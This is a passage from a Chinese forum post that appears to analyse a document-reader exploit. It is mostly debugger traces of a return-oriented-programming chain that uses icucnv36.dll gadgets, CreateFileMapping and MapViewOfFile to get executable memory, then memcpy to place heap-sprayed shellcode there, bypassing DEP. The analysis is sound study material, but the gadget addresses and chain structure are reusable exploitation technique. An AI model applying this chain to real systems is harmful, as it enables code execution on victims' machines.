 e a x 7 C 8 0 9 5 1 C         5 6                             p u s h   e s i 7 C 8 0 9 5 1 D         F F 1 5   8 8 1 0 8 0 7 C       c a l l   d w o r d   p t r   d s : [ < & n t d l l . R t l A n s i S t r i n g > ;   n t d l l . R t l A n s i S t r i n g T o U n i c o d e S t r i n g 7 C 8 0 9 5 2 3         8 5 C 0                         t e s t   e a x , e a x 7 C 8 0 9 5 2 5         0 F 8 C   B 5 3 9 0 3 0 0       j l   k e r n e l 3 2 . 7 C 8 3 C E E 0 7 C 8 0 9 5 2 B         8 B 7 6   0 4                   m o v   e s i , d w o r d   p t r   d s : [ e s i + 0 x 4 ] 7 C 8 0 9 5 2 E         5 6                             p u s h   e s i 7 C 8 0 9 5 2 F         F F 7 5   1 8                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 8 ] 7 C 8 0 9 5 3 2         F F 7 5   1 4                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 4 ] 7 C 8 0 9 5 3 5         F F 7 5   1 0                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 0 ] 7 C 8 0 9 5 3 8         F F 7 5   0 C                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x C ] 7 C 8 0 9 5 3 B         F F 7 5   0 8                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 8 ] 7 C 8 0 9 5 3 E         E 8   D D F E F F F F           c a l l   k e r n e l 3 2 . C r e a t e F i l e M a p p i n g W 7 C 8 0 9 5 4 3         5 E                             p o p   e s i 7 C 8 0 9 5 4 4         C 9                             l e a v e 7 C 8 0 9 5 4 5         C 2   1 8 0 0                   r e t n   0 x 1 8 0 C 0 C 0 C 6 8       4 A 8 0 1 0 6 4     / C A L L   到   C r e a t e F i l e M a p p i n g A 0 C 0 C 0 C 6 C       0 0 0 0 0 3 1 C     | h F i l e   =   0 0 0 0 0 3 1 C 0 C 0 C 0 C 7 0       0 0 0 0 0 0 0 0     | p S e c u r i t y   =   N U L L 0 C 0 C 0 C 7 4       0 0 0 0 0 0 4 0     | P r o t e c t i o n   =   P A G E _ E X E C U T E _ R E A D W R I T E 0 C 0 C 0 C 7 8       0 0 0 0 0 0 0 0     | M a x i m u m S i z e H i g h   =   0 0 C 0 C 0 C 7 C       0 0 0 1 0 0 0 0     | M a x i m u m S i z e L o w   =   1 0 0 0 0 0 C 0 C 0 C 8 0       0 0 0 0 0 0 0 0     M a p N a m e   =   N U L L 4 A 8 0 6 3 A 5         5 9                             p o p   e c x           ;   i c u c n v 3 6 . 4 A 8 0 1 0 6 4 4 A 8 0 6 3 A 6         C 3                             r e t n 4 A 8 4 2 D B 2         9 7                             x c h g   e a x , e d i 4 A 8 4 2 D B 3         C 3                             r e t n 4 A 8 0 2 A B 1         5 B                             p o p   e b x 4 A 8 0 2 A B 2         C 3                             r e t n 4 A 8 0 1 F 9 0         5 8                             p o p   e a x             ;   < & K E R N E L 3 2 . M a p V i e w O f F i l e > 4 A 8 0 1 F 9 1         C 3                             r e t n e a x   =   0 x 4 A 8 4 9 0 3 0 4 A 8 0 B 6 9 2     -   F F 2 0           j m p   d w o r d   p t r   d s : [ e a x ]                       ;   k e r n e l 3 2 . M a p V i e w O f F i l e 7 C 8 0 B 9 9 5   >     8 B F F                         m o v   e d i , e d i 7 C 8 0 B 9 9 7         5 5                             p u s h   e b p 7 C 8 0 B 9 9 8         8 B E C                         m o v   e b p , e s p 7 C 8 0 B 9 9 A         6 A   0 0                       p u s h   0 x 0 7 C 8 0 B 9 9 C         F F 7 5   1 8                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 8 ] 7 C 8 0 B 9 9 F         F F 7 5   1 4                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 4 ] 7 C 8 0 B 9 A 2         F F 7 5   1 0                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 1 0 ] 7 C 8 0 B 9 A 5         F F 7 5   0 C                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x C ] 7 C 8 0 B 9 A 8         F F 7 5   0 8                   p u s h   d w o r d   p t r   s s : [ e b p + 0 x 8 ] 7 C 8 0 B 9 A B         E 8   7 6 F F F F F F           c a l l   k e r n e l 3 2 . M a p V i e w O f F i l e E x 7 C 8 0 B 9 B 0         5 D                             p o p   e b p 7 C 8 0 B 9 B 1         C 2   1 4 0 0                   r e t n   0 x 1 4 4 A 8 0 1 0 6 4         C 3                             r e t n 4 A 8 0 6 3 A 5         5 9                             p o p   e c x                         ;   i c u c n v 3 6 . 4 A 8 A 0 0 0 4 4 A 8 0 6 3 A 6         C 3                             r e t n 4 A 8 0 2 1 9 6         8 9 0 1                         m o v   d w o r d   p t r   d s : [ e c x ] , e a x 4 A 8 0 2 1 9 8         C 3                             r e t n 4 A 8 0 6 3 A 5         5 9                             p o p   e c x                               ;   i c u c n v 3 6 . 4 A 8 0 1 0 6 4
e c x   =   0 x 4 A 8 0 1 0 6 4 ： 又 回 到 0 x 4 A 8 0 A 8 A 6 ： e a x   =   0 x 4 A 8 A 0 0 0 4 e a x   =   [ e a x ]   =   0 x 0 3 7 F 0 0 0 0 e c x   =   0 x 4 A 8 0 1 0 6 4 e a x   =   e d i   =   0 x 0 3 7 F 0 0 0 0 e b x   =   0 x 0 0 0 0 0 0 2 0 ， 这 里 的 r e t n 再 一 次 跳 到 了 0 x 4 A 8 0 A 8 A 6 ： 这 里 e c x   =   0 x 4 A 8 0 1 0 6 4 ， c a l l   e c x 跳 转 到 了 0 x 4 A 8 0 1 0 6 4 这 里 [ e s p ]   =   0 x 4 A 8 0 A E E E 这 里 的 e c x   =   0 x 4 A 8 0 1 0 6 4 这 里 将 m e m c p y 函 数 地 址 保 存 在 了 e a x 寄 存 器 中 ： 这 里 用 到 的 m e m c p y 函 数 将 要 执 行 的 s h e l l c o d e 写 入 到 M a p V i e w O f F i l e 返 回 的 地 址 。 因 为 这 段 内 存 是 可 读 可 写 的 ， 所 以 就 绕 过 了 D E P 的 保 护 。 m e m c p y 的 参 数 如 上 ： 4 A 8 0 6 3 A 5         5 9                             p o p   e c x                               ;   i c u c n v 3 6 . 4 A 8 0 1 0 6 4 4 A 8 0 6 3 A 6         C 3                             r e t n 4 A 8 4 2 D B 2         9 7                             x c h g   e a x , e d i 4 A 8 4 2 D B 3         C 3                             r e t n 4 A 8 0 2 A B 1         5 B                             p o p   e b x 4 A 8 0 2 A B 2         C 3                             r e t n 4 A 8 0 1 F 9 0         5 8                             p o p   e a x                         ;   i c u c n v 3 6 . 4 A 8 A 0 0 0 4 4 A 8 0 1 F 9 1         C 3                             r e t n 4 A 8 0 A 7 D 8         8 B 0 0                         m o v   e a x , d w o r d   p t r   d s : [ e a x ] 4 A 8 0 A 7 D A         C 3                             r e t n 4 A 8 0 6 3 A 5         5 9                             p o p   e c x                     ;   i c u c n v 3 6 . 4 A 8 0 1 0 6 4 4 A 8 0 6 3 A 6         C 3                             r e t n 4 A 8 4 2 D B 2         9 7                             x c h g   e a x , e d i 4 A 8 4 2 D B 3         C 3                             r e t n 4 A 8 0 2 A B 1         5 B                             p o p   e b x 4 A 8 0 2 A B 2         C 3                             r e t n 4 A 8 0 A E D C         8 D 5 4 2 4   0 C             l e a   e d x , d w o r d   p t r   s s : [ e s p + 0 x C ] 4 A 8 0 A E E 0         5 2                             p u s h   e d x 4 A 8 0 A E E 1         5 0                             p u s h   e a x 4 A 8 0 A E E 2         F F 7 4 2 4   0 C               p u s h   d w o r d   p t r   s s : [ e s p + 0 x C ] 4 A 8 0 A E E 6         F F 3 5   3 C 0 9 8 A 4 A       p u s h   d w o r d   p t r   d s : [ 0 x 4 A 8 A 0 9 3 C ] 4 A 8 0 A E E C         F F D 1                         c a l l   e c x 4 A 8 0 A E E E         8 3 C 4   1 0                   a d d   e s p , 0 x 1 0 4 A 8 0 A E F 1         C 3                             r e t n 4 A 8 0 1 0 6 4       C 3                             r e t n 4 A 8 0 A E E E         8 3 C 4   1 0                   a d d   e s p , 0 x 1 0 4 A 8 0 A E F 1         C 3                             r e t n 4 A 8 0 1 F 9 0         5 8                             p o p   e a x 4 A 8 0 1 F 9 1         C 3                             r e t n 4 A 8 0 D 5 8 5         0 3 C 2                         a d d   e a x , e d x 4 A 8 0 D 5 8 7         C 3                             r e t n 4 A 8 0 6 3 A 5         5 9                             p o p   e c x                       ;   i c u c n v 3 6 . 4 A 8 0 1 0 6 4 4 A 8 0 6 3 A 6         C 3                             r e t n 4 A 8 4 2 D B 2         9 7                             x c h g   e a x , e d i 4 A 8 4 2 D B 3         C 3                             r e t n 4 A 8 0 2 A B 1         5 B                             p o p   e b x 4 A 8 0 2 A B 2         C 3                             r e t n 4 A 8 0 1 F 9 0         5 8                             p o p   e a x                   ;   < & M S V C R 8 0 . m e m c p y > 4 A 8 0 1 F 9 1         C 3                             r e t n 4 A 8 0 B 6 9 2     -   F F 2 0                         j m p   d w o r d   p t r   d s : [ e a x ]             ;   M S V C R 8 0 . m e m c p y 0 C 0 C 0 D 4 4       0 3 E 9 0 0 0 0     C A L L   到   m e m c p y 0 C 0 C 0 D 4 8       0 3 E 9 0 0 0 0     d e s t   =   0 3 E 9 0 0 0 0 0 C 0 C 0 D 4 C       0 C 0 C 0 D 5 4     s r c   =   0 C 0 C 0 D 5 4 0 C 0 C 0 D 5 0       0 0 0 0 1 0 0 0       n   =   1 0 0 0   ( 4 0 9 6 . ) 0 3 7 9 0 0 1 0         3 1 4 7   1 8                   x o r   d w o r d   p t r   d s : [ e d i + 0 x 1 8 ] , e a x 0 3 7 9 0 0 1 3         0 3 4 7   1 8                   a d d   e a x , d w o r d   p t r   d s : [ e d i + 0 x 1 8 ] 0 3 7 9 0 0 1 6         8 3 C 7   0 4                   a d d   e d i , 0 x 4 0 3 7 9 0 0 1 9     ^   E 2   F 5                       l o o p d   X 0 3 7 9 0 0 1 0
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理